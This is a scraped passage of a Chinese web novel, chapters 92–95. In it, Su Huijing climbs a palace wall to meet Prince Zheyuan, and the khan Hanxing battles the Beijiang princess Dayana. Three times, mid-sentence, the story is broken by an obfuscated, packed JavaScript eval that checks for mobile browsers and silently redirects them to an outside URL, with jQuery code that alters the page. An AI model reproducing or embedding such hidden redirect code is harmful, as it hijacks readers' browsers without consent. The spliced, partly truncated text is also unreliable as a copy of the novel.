苏蕙菁说着就跳下了石头,青儿连忙劝阻,“小姐,这御花园这么大,想找个人比大海捞针还难,你肯定找不到,还是算了吧。” 苏蕙菁压根没有搭理她的意思,只是招了招手,示意她跟上,“找不到就找不到呗,我又没说一定要把这个人找到,你没听说过王子猷雪夜访戴的故事吗,乘兴而行,兴尽而返,何必执着于最终的结果呢,只要尽兴就好啦!” 青儿小声嘀咕着,“小姐你肚子里怎么那么多故事啊,平时也没看你怎么读书,却总能说出一大堆让人无法反驳的歪理。” 苏蕙菁跑得快极了,没一会儿工夫就把青儿落在了后面,她回身笑道,“你在那儿嘀咕什么呢,还不赶紧跟上。” “啊。”青儿偷偷撇了撇嘴,“来了来了。” 92. 引得妙人顾 半个时辰后。 青儿气喘吁吁的叉着腰,“终于找到了,应该就是这里了。” “哇,好大的一座宫殿呀,都快赶上太后娘娘那里了。” 苏蕙菁围着朱红色的宫墙绕了一圈,最后绕到宫门口,抬头看了眼上面悬着的匾额,“贤乐宫?” “小姐,我记得这贤乐宫是先帝的贤贵妃,也就是现在的贤太妃的居所,因为贤贵妃前后诞育了两位皇子,所以她的宫室比其他人要大一些。” 苏蕙菁点点头,“哦,原来是贤太妃住的地方。” 青儿见她弯着腰,像是在找什么东西,奇怪道,“小姐,你干嘛呢?” 苏蕙菁头也不抬,“找狗洞呀。” 青儿目瞪口呆,“啊?” “你想啊,贤太妃那么尊贵的身份,又和咱们不认不识的,咱们贸贸然去求见,她肯定不会见的,所以当然要想别的办法啦。” “可这儿是皇宫,哪有狗洞可钻啊。” 贤乐宫的确没有狗洞,不过苏蕙菁并没有气馁,她又绕着宫墙仔仔细细找了一圈,最后在贤乐宫的后身站住了,她拽了拽沿着屋檐垂下来的藤蔓,神情颇为满意,“青儿,我一会儿要抓着这根藤蔓爬上去,你在下面给我望风。” “啊?” “啊什么啊,听见没有。” “哦哦哦,行吧,那小姐你当心些,千万别摔着自个儿。” 贤乐宫后身的墙壁不算很高,朱墙以内就是哲远王住的小院子,因为哲远王平时喜欢在院内侍弄一些花花草草,天长日久,院内长势茂盛的藤蔓就攀上了屋瓦,向外顺着墙面垂了下来,远远看去,仿佛一挂嫩绿的瀑布,川川不息,生机盎然。 苏蕙菁抓着藤蔓,几乎是毫不费力就爬上了贤乐宫的墙头,她探出脑袋,一眼就瞧见了亭内的那一抹竹青。 那人的身形淡淡的,浅浅的,像是水墨随意泼染的一个轮廓,风一吹,就晕散在轻轻袅袅的琴声中,无踪,亦无影。 魏晗远现在弹的这首曲子叫《忘忧》,他弹一下,墙头坐着的苏蕙菁就跟着叹一口气。 一时,一曲毕,魏晗远敛了敛袍袖,“墙上何人,还请下来说话。” 苏蕙菁愣了一下,随即笑道,“哈哈,居然被你发现了,也罢。” 她顺着藤蔓滑了下来,大大方方地走到魏晗远跟前,一拱手,“小女子这厢有礼了,我姓苏,名蕙菁。” 魏晗远抬眼看她,“蕙菁?” “对呀,我娘生我的时候正值初夏,草木繁茂,鲜花盛开,她又很喜欢《高唐赋》中‘秋兰茞蕙,江离载菁’一句,就给我取了这两个字,怎么样,我的名字是不是很好听呀。”[1] “确实很好听,那敢问苏小姐,你为什么要爬本王的墙呢?” “这个嘛……” 苏蕙菁有些不好意思的笑了笑,“我听见你弹的曲子,觉得很有趣儿,就循着琴声找来了。不过,我跟你母妃不熟,不对,应该说我们连面儿都没见过,我不知该如何求见,所以就只能出此下策了。” “原来如此,哈哈哈,苏小姐真是个性情中人。其实母妃已经搬到康泰宫去住了,这儿现在就本王一个人住着,苏小姐以后再来,不必拘礼,找人通报一声就好。” 苏蕙菁一听贤太妃不在此处,瞬间轻松了不少,她也不等他让,直接坐在了他的对面,还顺便给自己倒了盏茶。 “哲远王过着神仙一般的日子,真是让人艳羡啊。” “你怎知我是哲远王,难道我们从前见过?” 苏蕙菁呷了一口茶,“我虽然呢没见过你,但我在家的时候,曾听父亲提起,这贤太妃有两个儿子,一个是皇长子肃安王,一个是皇五子哲远王,我听说这肃安王打仗很厉害,他肯定不会生得如此文质彬彬,而且年纪嘛,也同你不大相符,那你就肯定是哲远王喽。” “苏方之女果然聪慧,本王佩服。” “哦?你知道家父?” “当然,苏方大人熟读圣贤书,清正廉明,爱民如子,他的政声可是有口皆碑的,不过,”魏晗远话锋一转,“都说苏方教子甚严,本王倒是有些好奇,为何他对你如此放纵。” 苏蕙菁也不恼,一五一十的回答,“父亲对哥哥们的确很严格,不过他对我一直很和气,他说,我长得很像我娘,每次我犯错,他想动用家法,一看见我的这张脸,他就下不去手了,而且我又是他唯一的女儿,他自然比疼哥哥们更疼我一些。” 魏晗远闻言,笑着点点头,“苏小姐真是一个幸福的女孩子,本王从前便听闻,苏大人一生不曾纳妾,家中只有一位嫡妻,他与妻子相伴三十余载,二人感情甚笃,从未红过脸。本王从前不信,今日见了苏小姐,才知这传言不虚。” 苏蕙菁一笑,“父亲母亲的确感情很好,所以我打小便立誓,以后我和我的夫君也定要如此,相知相许,白头偕老。好啦,你问的问题,我都回答完了,接下来该我问你了。” 魏晗远虽是天皇贵胄,却半点儿也没有皇子的架子,即便苏蕙菁忘了尊称,直呼“你”,他也毫不生气,“你问。” “都说哲远王喜诗词,好雅乐,厌俗事,远朝堂,是这世间一等一的逍遥客,俗话说,百闻不如一见,我今日见到了王爷,才知这所言——有虚——” 魏晗远不觉皱眉,“苏小姐此言何意?” “王爷方才弹的这首曲子叫《忘忧》,若是无忧,又谈何‘忘’字呢?” “一首曲子罢了,本王不过信手一弹,并无这许多深意。” “哦——”苏蕙菁起身走到琴前,用指尖拨弄了两下琴弦,娓娓道来,“那么,王爷用弹操曲的方式去弹畅曲,该不会也是信手一弹吧,这《流觞》和《酒狂》虽然指法相似,但内里的韵味却是大有不同的。正所谓,岂真嗜酒耶,有道存焉,小女子倒是不明白了,王爷不缺吃不少穿,哪里来的这许多苦闷,不得不遣怀于琴音呢?”[2] 魏晗远原以为她不过是个被宠坏了的无知少女,并未想过她竟如此厉害,此刻听她如此说,不由得上上下下,重新打量了她一番,脸上添了几分敬意。 “苏小姐也会弹琴?” “不会。”苏蕙菁见他不解,又露齿一笑,“但我会听。” “听?” “对啊,我娘是个古琴妙手,我刚生下来,她就抱着我弹琴,我是先会识谱后会识字的,我娘本来想好好教我弹琴,只可惜我生性贪玩惫懒,辜负了她的苦心教导,到最后琴技也没什么长进,不过我对于听琴倒是很擅长,弹琴的人心里想着什么事儿,都瞒不过我的耳朵。” “厉害,厉害。” 苏蕙菁面上得意,“所以王爷要不要解释一二。” 魏晗远轻叹一声,缓缓道,“千金易得,知音难求,本王的心事从来没有向旁人说过,今日同苏小姐说说倒也无妨。本王是先帝的第五个儿子,论起来,前头应该还有四位兄长,可自本王记事儿起,除了一母同胞的大哥,本王就只见过郑娘娘宫里的四哥一人。后来母妃告诉我,这宫里的孩子生下来不容易,养大就更不容易了,母妃还告诉我,其实我应该还有一位哥哥的,亲哥哥,母妃怀上那位哥哥的时候,刚好魏皇后,就是现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502800|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的太后娘娘也有了身孕,母妃为了明哲保身,亲手把那个孩子杀死在腹中。” 苏蕙菁用手捂着嘴,“我的天,这么恐怖吗,自己的亲生骨肉都能下得去手啊。” “所以,父皇母妃给我取名为晗远,就是希望我能远离朝堂的纷争,远离宫中的漩涡。带着这样的期望,我不需要有多上进,有多聪敏,也没有人指望我能做出像大哥那样的丰功伟绩,我每天的生活就是吟吟诗,弹弹琴,养养花,弄弄草,我很快乐,也很不快乐,我不知道自己存在的意义是什么。” 苏蕙菁点点头,一副了然于心的模样,“明白了!你就是没事儿闲的。” 魏晗远默然无语。 “哈哈哈,我开个玩笑,你不要生气呀。但其实我觉得吧,你也挺幸福的,你既然喜欢《酒狂》,一定也知道《华胥引》喽,《华胥引》中的‘寤梦华胥’一节与这《酒狂》里的几个小段可是有异曲同工之妙的。” “一枕邯郸梦,一瓯华胥酒,我自然是听过的,我猜你是想说人生如梦,梦如人生,真真假假,不必当真?” 苏蕙菁一挑眉,“聪明!虽然我年纪小,没经过什么事,但我观这世上的人,总是喜欢美化自己得不到的东西。那帮文人墨客就更是如此了,没当上官儿的时候赶着去考功名,等真的当上官儿了呢,又抱怨这官场是樊笼是枷锁,一心一意要跑回家种田,我就不理解了,他们兜这么一大圈子干嘛呢。” 魏晗远轻笑,“照你这么说,像陶潜这般的人物竟都成了糊涂虫了。” 苏蕙菁摇了摇头,“不是啊,我可没这么说,其实我还挺喜欢五柳先生的,至少他最后明白了自己想要什么,那他的前半生就是有意义的。我说的是有些人从始至终都不明白自己到底想要什么,一只脚踏进官场,一只脚踩在山林,说句不好听的,这些人就是太贪心了,即想要功名,又想要清名,这天底下哪有这样的好事儿啊,你说是不是?” “嗯……”魏晗远思忖道,“这些人?比如说?” 苏蕙菁抬手一指,直爽道,“比如说你啊。” 魏晗远继续无语。 苏蕙菁往前探了探身子,眼睛亮亮的,“欸,我问你一件事啊,如果真的让你来做这个皇帝,”她见他脸色一变,笑了笑,又改口道,“算了算了,我换个说法哈,如果真的让你入朝为官,或者,让你上战场杀敌,你愿意吗?” 魏晗远张了张嘴,想要说些什么,苏蕙菁却已抢先一步,把右手食指放在了他的唇上,做了一个噤声的手势,“你先别着急回答,好好想,认真想,这个答案不是给我的,是给你自己的。你要问问自己的心,才能明白,自己到底想要什么样的人生。” 说罢,苏蕙菁饮尽最后一口茶,起身伸了个懒腰。 太阳就快落山了,暖洋洋的余辉洒落在天地间,给她鬓角的碎发裹上了一层淡淡的金芒,她整个人沐在光里,冲着他笑,那是魏晗远见过的最灿烂的笑容。 魏晗远不自觉也站起身来,“你去哪里?” “出宫啊。”苏蕙菁往西扬了扬脸,“再过一会儿,宫门就该关了。” “哦,那你以后再入宫,一定要记得来看我。” 苏蕙菁已经走到了墙根处,她没有转身,只是摆了摆手,“放心吧!” 魏晗远就站在原地,看着那个金灿灿的人影拽着藤蔓,一点点爬到墙头,直到最后消失不见,他这才反应过来,连忙高声喊道,“喂,你下次记得直接走正门,不要再翻墙了!” 片刻后,朱红色的宫墙外传来了少女清脆灵动的声音,“知——道——啦——” 93. 北疆有美人 露结,霜降。 十一月,中原还是一片旭日暖阳,漠北已经飘起了细碎的雪花。 不过月余,西域新汗王大婚的消息便传遍了整个大漠。 北疆王联姻不成,恼羞成怒,立刻召集兵马,扬言要同西域可汗绝一死战。 北疆王记恨寒星不肯娶北疆公主的事,遣人送来的书信中极尽辱骂之言,事到如今,为捍卫西域将士们的尊严,一场大战已是无可避免。 寒星清点兵马,留下暗卫营的人马保护席容烟,又将营中大事暂时托付给了尧里瓦斯,自己则带着艾山和沙吾提远赴北疆。 越往北走,地上的积雪就越厚,数以万计的铁骑踏破了雪上那层薄薄的冰面,吱吱作响。 一路上,寒星他们只遇到了小股骑兵,这些骑兵上来就打,打完就跑,战术十分诡异。 艾山道,“这是北疆人惯用的伎俩,北疆铺天盖地都是雪山,正午的太阳一出来,白的几乎能晃瞎人的眼睛,我们的人什么都看不见,他们是在等待时机,好把我们的人一举歼灭。” 寒星仰头看向正在升起的太阳,皱眉道,“再过一个时辰就是正午了。” “其实大汗可以让他们来咱们西域,没必要带着大军进入他们的地盘,这样太危险了。” 寒星脸色陡然一沉,他剜了艾山一眼,猛地扬起马鞭,甩向前方那片若隐若现的山脉,声音冰冷得吓人,“二十年前,狼峰岭以南都是我们西域的土地,北疆人连一步都不敢踏入,他们,哼,就只配生活在寸草不生的冰川上,本汗竟不知,这里什么时候成北疆的地盘了?!” 艾山低下头,“从前老汗王依拉洪还在的时候,北疆就是一团散沙,根本成不了气候,可是自从苏里唐杀了老汗王,夺取了汗位,西域将士人心惶惶,北疆王就是趁这个当口圈占土地,自立为王。大魏皇帝倒是派肃安王去北疆打过几场仗,可是一则水土不服,二则路途遥远,大魏就算打赢了也没什么好处,渐渐也就丢开手不管了。等苏里唐反应过来的时候,北疆王的势力已经壮大,苏里唐又没有老汗王的魄力与威望,这才纵的北疆王愈发猖狂。” 寒星咬牙道,“父亲虽然死了,但他生前打下的基业,本汗绝对不会撒手不管!北疆王抢走的土地,本汗定会向他索要回来!本汗要他跪着,把他从西域抢走的东西双手奉上!” 沙吾提把手中的两把大刀撞得砰砰直响,“好!这才是我们西域的汗王!大伙都听见了,咱们今天就跟着大汗,把北疆人赶出咱们西域的地盘!” “赶出去!” “把他们赶出去!” “把北疆人赶出去!” “报——”斥候飞奔而至,“大汗,前方出现大队人马,应该就是北疆的主力了。” “呸!”沙吾提偏头啐了口吐沫,“还真让艾山说中了,这帮孙子又来这套。” 寒星皱眉,“雪光刺眼,大家都看不清东西,可为什么偏偏北疆人没事呢,艾山,你和他们打过几场仗,他们有什么地方是和我们不同的吗,比如说,骑的马,使的兵器什么的。” “就是普通的马,普通的刀,没什么不同啊,而且那帮北疆人士气散漫,打起仗来随意得很,根本没有什么章法可言,一堆乌合之众罢了,用不了多久就被咱们的人们给冲散了,要不是仗着地势之利,还有这该死的雪光,北疆王怎么敢这么嚣张。” 飞雪卷起山隙间的尘土,扑扬出一大片裹挟着天地,一眼望不到头的灰白烟嶂。 伴随着一阵阵铃响,北疆的骑兵主力撕开灰蒙蒙的欝气,从中杀了出来。 寒星听了一阵,偏头问艾山,“这是什么声音?铃铛?” “是的,北疆人会往自己的马脖子上系铃铛,可能是为了方便清点马匹数量吧。” 沙吾提一脸不屑,“哼,只有这帮蠢货才会把好好的战马当成狗养。” “原来是这样。”寒星若有所思的笑了笑,“本汗终于明白为什么雪光刺眼,他们却能安然无事了。传令下去,等一会阳光上来了,咱们不砍他们的人,专砍他们的马,看北疆人没了铃声,还能靠什么分辨敌我。” 沙吾提激动地一拍大腿,“我说他们系铃铛干嘛!这回好了!看这帮孙子还嚣不嚣张!” 北疆的大军在距离他们五百米左右的位置停下,打头的骑兵往左右两侧一闪,赫然让出藏在里面的弓箭手,“弓箭手准备!” 沙吾提骂道,“他奶奶的,这帮北疆人也学会用弓箭了!上次和他们打仗的时候,他们还没有呢,学的是真快呀!” 艾山一挥手,“上盾牌!” “幸亏大汗早有预料,让大家伙都穿上了盔甲,还准备了盾牌,要不后果不堪设想!” 劈里啪啦的一阵箭雨过后,艾山请示寒星,“大汗,咱们也放箭吗?” “不。”寒星似是笑了一下,“咱们放鹰。” 寒星屈指吹了声口哨,海东青夹着凛风呼啸而来,它刀子般的飞羽将纷扬的雪花砍成了碎屑,在湛蓝色的天空中刻下一道长长的刮痕。 成群的海东青在他们的头顶盘旋,天,立时暗了下来。 北疆的士兵们仰头望着天上那一大团黑压压的乌云,不知道发生了何事,有两个眼尖的最先反应过来,惊恐大叫,“雄库鲁!是雄库鲁!西域人居然驯服了万鹰之神雄库鲁!” 寒星掌管西域之后,不单扩展了西域的兵种,武器,乃至阵法,还驯养了一大批海东青,这些海东青翅强而有力,趾健而有钩,尖利顽硬的喙甚至能直接咬死一只成年野兽。 海东青这种猛禽常年居于山巅,凶悍迅捷,极难捕捉,寒星带着暗卫营用了整整七天七夜,折损了三名暗卫,才捕获了百余只海东青,而把它们从桀骜不驯的畜生喂养磋磨成听从指挥的将士,更是花了小半年的时间,每只海东青都有自己的名字,寒星给自己的那只取名“惊风”。 寒星一抬左臂,“惊风”俯冲而下,粗大锋利的玉爪稳稳地落在了寒星的臂缚之上。 寻常的海东青多为棕褐色、灰白色、花色,而这只惊风却是通体纯白,眼圈金黄,可谓是海东青中的极品。 惊风琥珀色的眼睛炯炯有神地射向几百米开外的北疆人,蓄势待发,只等寒星一声令下。 寒星爱怜地摸了摸惊风闪着光泽的羽翼,嘘了声,“去!” 几乎是一瞬间,惊风长唳一声,振翅掠空,成群的海东青跟着它扑向对面。 “救命啊……救命啊……” 北疆人慌乱四窜,可他们哪里能跑得过海东青,一声声凄厉的哀嚎刺破了天穹,伴随着飞溅的血花在空中翻涌回荡。 北疆公主达亚娜一面挥着鞭子赶走头顶的海东青,一面高声喊道,“不要乱,听我号令,骑兵举起盾牌往前来,弓箭手往后退!放箭!给我射死这些雄库鲁!” 在达亚娜的指挥下,北疆的士兵逐渐掌握了射杀海东青的方法,几只海东青扑棱着翅膀,相继栽倒在血泊中。 眼见北疆人士气已挫,寒星见好就收,他吹哨叫回了惊风,百余只海东青重新飞了回来,在他们的头顶盘旋踅转。 寒星驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502801|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着鹰,打马往前走了两步,艾山下意识抽出腰侧的镔铁大刀,警惕地观察着对面士兵们的动向,出声提醒道,“大汗千万小心!” 约莫走了两百米之后,寒星勒住马,冲对面的人拱拱手,“领兵者何人?” “驾!”达亚娜驱马向前,拿眼睛瞪视着他,“你就是西域的新汗王尤里吐孜汗?” 寒星没想到北疆居然派了一个女子出征,不觉一怔,“正是。” 达亚娜忿忿然甩了两下鞭子,一脸怒容,“就是你不肯同我北疆联姻结盟,你不仅羞辱了本公主,更羞辱了我的父王!我的子民!此仇,我与你不共戴天!” 寒星原本想耸耸肩,想起惊风还在自己的肩头,就只笑了笑,“哈哈哈哈,原来你就是北疆的那个公主,公主你这是何苦呀,本汗瞧你长得也不算很丑,难道还愁以后嫁不出去吗,你为了一桩婚事,不惜挑起北疆与西域的战火,岂不是让天下人笑掉大牙。” “你!” 因为气恼,达亚娜的脸蛋白里透红,她身上裹着油亮油亮的金钱豹皮,又暖和又轻便,那一头茂密乌黑的秀发被绾成一个高髻,上面打斜插了一支月白色的鹿骨簪子,她站在泥雪四溅的战场上,周身散发着勃勃英气,这是与中原女子截然不同的美。 达亚娜当然不丑,她的血统尊贵,素有“北疆第一美人”之誉,在漠北,追求她的男子数不胜数,她还从未被谁评价过“不丑”,如今听了寒星这话,岂有不生气的道理。 “找死!”达亚娜双腿用力一夹马肚子,手中挥舞着九节鞭冲他杀了过去,“吃我一鞭!” 鞭把上系着的丈许红绸逆风飘扬,说时迟那时快,九节鞭顺势而出,一晃已经甩到了他跟前。 寒星连眼睛都没眨一下,错身后仰,鞭子擦着他的鼻尖儿过去了。寒星随即拂掌一跃,从马背上腾身而起,凌空几个踏步,徒手抓住了鞭头,再用力一拽,竟将鞭把上的红绸扯了下来,他顺着九节鞭旋转的方向翻了个身,正迎上照夜飞矢纵蹄而至,载着他稳稳落回地面。 寒星的速度实在太快,一去一回,不过一眨眼的功夫,还没等达亚娜看清发生了什么,她的九节鞭就被打了回来,达亚娜连忙扭头避开鞭风,却还是被寒星的力道拽了一个踉跄。 寒星用指尖甩了一圈红绸,哂然一笑,揶揄道,“公主就是公主,使的鞭子都这么精致,可惜啊,中看不中用。本汗好心劝公主一句,公主还是赶快回去吧,战场上刀枪无眼,万一伤到自个儿,再破了相,你以后不就更嫁不出去了吗。” 达亚娜听了这话不怒反笑,拍掌道,“好身手,好功夫,不愧是老汗王依拉洪的儿子啊,你既然摘得了我鞭子上的红绸,你以后就是我的男人了,西域可汗,我达亚娜嫁定你了。” 寒星一愣,他抢她的绸子不过是觉得好玩,哪里想到还有这个说法,立刻像丢烫手山芋一样把绸子丢了回去,连连摆手道,“公主所言,本汗十分感动,只是本汗已经娶妻,怕是无福消受公主的这番美意。” “我知道,你娶了一个大魏的女人,无所谓啊,我不介意的,我会和她和睦相处的。” “可我介意。” 达亚娜这回是真的生气了,她用力攥紧红绸,一字一顿道,“我再问一遍,你娶不娶!” 寒星毫不犹豫,斩钉截铁地说,“不娶。” “好!我告诉你,我达亚娜想要的东西一定会弄到手,如果得不到,我就把它毁掉!” 达亚娜撂下这句话,挥臂把九节鞭往天上一扬,北疆的骑兵立时策马杀了过来。 94. 美人有蛇心 短兵相接,双方一时打得不可开交。 洁白的雪被鲜血一点点浸染,泛着诡异的红光。 剑光流转,寒星一记东风破,将近身之人尽数斩杀,青霜剑所指之处,响起一声声惊雷,强大的气流爆破开来,震得十米之内的北疆骑兵纷纷坠马。 温热粘腻的鲜血溅了寒星一脸,他歪头一甩,随口骂了句,“真脏。” 另一边,艾山的镔铁大刀被达亚娜的九节鞭死死绞住,任他如何用力也动弹不得。艾山感觉,这个达亚娜就像是一条毒蛇缠在自己身上,妄图一口一口把自己咬碎,嚼烂。 “艾山,我来助你一臂之力!”沙吾提操着两把大刀,对着达亚娜就是一顿猛抡狠砍,达亚娜不曾提防,急急收了鞭子,回身怒骂,“哪里来的黑熊,好大的力气!” “呦呵,居然是个女的。”沙吾提上下打量着达亚娜,突然咧嘴一乐,“这行军打仗是男人的事,你一个小娘们不在家里好好呆着,跟过来凑什么热闹。” 达亚娜反唇相讥,“男人怎么了,这天底下有的是不如女人的男人,你瞧不起谁啊!” “我可没瞧不起你啊,我就是觉得吧,你长得怪好看的,要是真死在战场上,怪可惜的。” “哦?”达亚娜听出他话中的意味,金色的眼珠滴溜溜一转,笑道,“这么说,将军是舍不得对我动手了。” “嘿嘿,我沙某人虽然是个粗人,但我也知道怜香惜——” 他的话还没说完,就见那根九节鞭往自己的脖上套了过来。 达亚娜死死锁住沙吾提的咽喉,厉声道,“有时候,女人可比男人强多了!” “操……”沙吾提被勒得双眼猩红,喊出来的话也是断断续续,“你跟老子玩阴的……” 他咬紧牙关,翻腕提起大刀,从下往上缠住鞭身,用尽全力往自己这边拽,只听他暴喝一声,脖上的桎梏终于有了些许松动,他猛吸一口气,试图赤手抓住她的九节鞭,可是已经迟了,她抢先一步收回鞭子,乜着眼,极认真地说,“记住这个教训,永远不要瞧不起女人!” 沙吾提吃了这样的亏,岂肯轻易放手,他立刻打马追上去,又挥刀和达亚娜缠斗在一起。 汗掺着血,渗进了艾山的眼睛里,他强忍着火辣辣的刺痛,快速砍死了冲他扑来的士兵,趁抬手擦汗的功夫,艾山眯眼望了望天空,高声道,“大汗,快到正午了!” “好!”寒星用力甩掉青霜剑上的血珠,举剑大喝,“西域将士听我号令!” “在!” “接下来,所有人,给我砍他们的马!” “是!” 马声嘶嘶,铃铛随之叮叮当当地掉在地上,被尸山血海压扁,碾碎。 天上,一轮红日高悬。 没有了铃声,北疆的士兵一下子失去了方向,像无头苍蝇一样乱挤乱撞。 其实西域的将士也是一样的情况,不过他们训练有素,倒还不至于方寸大乱。 达亚娜看着眼前的一幕幕,痛心疾首。 日光落在雪里,像是长了毒刺,刺得她落下泪来。 “公主,士兵死伤太多,咱们再不撤就没法和大王交代了!” 达亚娜死死咬着嘴唇,“那就撤!不过,本公主还有一件事要办,你们拖住那只黑熊,我去去就来!” 沙吾提见她要走,提刀追了上去,“哪里跑!” 达亚娜不欲和他纠缠,几鞭子虚虚实实地晃他一晃,兜地策马而去。 雪光太盛,寒星索性闭上眼,凭直觉将左右的北疆骑兵掀落马背。 忽然,疾促的风鸣声直冲面门,他挥剑相迎,眼睛微微眯开了一条缝。 “果然是你,北疆公主。” 达亚娜已经将那丈许红绸重新系回了鞭子上,她看着寒星微阖的双眼,笑了笑。 “早就听说,尤里吐孜汗自小流落他乡,果然对漠北的气候不大适应啊。” 寒星确实没办法忍受这刺眼的光芒,他重新闭上眼睛,冷冷道,“那又如何,本汗依旧战无不胜,公主,你们已经败了,赶快投降吧。” “你想让我投降?”达亚娜媚然一笑,“好啊,你今日赢了我,我就投降。” 达亚娜探身将鞭子从右往左横着扫出,妄图勾住寒星的右臂,寒星猛地侧身,翻腕就是一剑,达亚娜笑意更浓,她不紧不慢地挥舞着长鞭,鞭把上的红绸随之而动,她的一举一动落在寒星耳里,连一丝凌厉的风都没有带起来,不像是杀招,更像是……跳舞? 寒星随即发觉周遭的打杀声、刀剑声、叫骂声、哀嚎声都远了许多,他皱了皱眉,道,“公主这是想把本汗带去哪里?” 达亚娜没料到他反应这么快,赶紧稳了稳心神,激他道,“怎么,难不成,你怕了?” 寒星冷哼一声,“你用不着激我,你的手段落在我的眼里,根本就不值一提。” 达亚娜忽然叹了口气,似是无奈,似是不甘,幽幽道,“说起来,我达亚娜这辈子还是第一次对一个人动心,可惜,你不领情。” 寒星闻言,睁开眼睛看了看她。 阳光没有刚才那么厉害了,茫茫然的白色中,依稀可以看见随风飘扬的那抹嫣红。 “可汗,你的东西掉了。” 寒星没有挪开目光,“公主又想耍什么花样。” 达亚娜没说话,她将九节鞭一放一收,抬指取下鞭头缠着的东西,冲他晃了一晃。 “难道这东西不是你的吗?” 寒星心中一惊,“糟糕!是同心结!” “我老早就看见你怀里揣着这东西了,你这样的人,怎么会有这样的东西呢?”达亚娜施施然一笑,“所以啊,我猜这个东西,一定是你的女人给你的,对不对。” 寒星尽可能让自己看起来面无表情,他平静地说,“还给我。” 达亚娜又笑了,“看来,我猜对了,你想要这个东西吗?” “想。” “可是我不想给啊。” 寒星仅存的耐心终于被她消耗殆尽,他不再同她废话,劈掌便打。 达亚娜连鞭子都还没来及挥出,就已经被寒星扼住了脖颈。 他的足尖点在她的马背上,整个身子投下了一个高大伟岸的阴影。 达亚娜仰起脸,痴痴地看着他,她还是第一次离他这么近,她心想,他的眼睛可真好看。 寒星一手掐着她的脖子,另一只手在她身上快速翻找,“同心结呢?你把它藏哪儿了?” “大汗就这么看不上我吗,连剑都不屑于对我用?” 寒星扼着她的脖颈,冷声道,“本汗从来不杀女人,交出同心结,我放你一马。” “好啊……”达亚娜看着他的眼睛,缓缓地说,“东西,你自己去取吧。” 说话间,达亚娜使出了全身的力气,用九节鞭将同心结甩向那片连绵的雪山,寒星这才发现,原来那枚同心结一直被她藏在鞭节的串联处。 寒星立刻丢下她,策马去追那同心结。 “咳咳咳。”达亚娜伏在马背上喘了口气。 她望着寒星的背影,突然笑了笑,语调极其轻柔地说,“不领情——就得死——” 另一边,西域大获全胜,北疆的士兵落荒而逃,样子十分狼狈。 艾山甩掉一脑门的汗珠,抬手揉了揉几乎要被晃瞎的眼睛,他们和北疆人打了整整一天,直到这会儿,他才算松了一口气,他绕开垒成小山的尸体,想去问问寒星接下来打算怎么办。 艾山环顾一圈,这才发现寒星不见了。 “沙吾提,你看见大汗了吗。” 沙吾提摸索着手中的刀,脑子里正想着达亚娜的笑容,冷不丁被这么一问才发觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但依拉洪想要将北疆人一举歼灭,便率西域大军冲进狼峰岭,结果遇到了狼群,那是西域将士们死伤最为惨烈的一次,自那以后,依拉洪的背上多了四道狭长的抓痕,那是狼峰岭留给他的教训,即便后来,依拉洪背上的伤口愈合了,他也再没打过狼峰岭的主意。 传说,那日依拉洪看到雪山之巅射出了两道森然的绿光,那绿光幽幽的,冷冷的,那是狼王的眼睛,只有狼王,才会有那样的目光,这也是碧眼狼王的由来。 狼峰岭从此成了所有西域人的噩梦,依拉洪再也没提过出兵北疆的事,可以说,拦住他一统漠北的不是北疆人,而是狼峰岭的狼群。 二十多年过去了,母亲在教训不听话的小孩子时,依旧会拿“把你扔到狼峰岭去”吓唬他们,而小孩子听了这话,立马变得服服帖帖,什么都不敢再说了。 沙吾提长吁一口气,“那大汗岂不是——凶多吉少——” 艾山面朝天山的方向,躬身而拜,“天神保佑,大汗一定要平安归来。” “不行,我得去救大汗!” 艾山拦住了他,“你不能去,你以为凭你自己就能救出大汗吗,你去了就是白白送死!” 沙吾提急得跳脚,“那怎么办!那你说怎么办!难道要眼睁睁看着大汗被狼群撕碎,再派人去寻回他的尸首吗!大汗他只有一个人啊,他就是再厉害,他也不可能打赢一群野狼!” 艾山想了想,说,“沙吾提,你率领大军原路返回,给我留下一百兵马即可。” “那你呢?” 艾山十分坚定地说,“我去救大汗!” “为什么是你去?不行,我也要去!” 艾山握住他的手,“沙吾提,大汗现在到底在哪里,我们谁都不知道,万一这只是北疆人的计谋怎么办,所以你要带着将士们回家,他们的妻儿老小还在家里等着他们凯旋!” 沙吾提的鼻子抽动着,他几乎要哭出来了,“那为什么是你去送死!为什么!” “因为……”艾山十分平和地笑了笑,仿佛将生与死都置之度外了,“因为出发前,我答应了阿塔,大汗在,我在,大汗死,我死。” 95. 青霜斩狼王 狼峰岭。 雪还在下,寒星揉了揉眼睛,继续低头寻找同心结。 终于,功夫不负有心人,寒星在地上发现了一个小小的红点。 他快步上前,小心翼翼地把那个红点拽了出来,积雪之下,正是他要找的同心结。 寒星松了口气,轻声一笑,“原来是埋在雪里了呀,怪不得刚才没有找到。” 他将同心结揣好,又回头看了眼地上的积雪,喃喃道,“这雪也太大了,才这么一会儿工夫,就堆了这么厚,把我来时的脚印还有我留下的标记全都掩盖住了。” 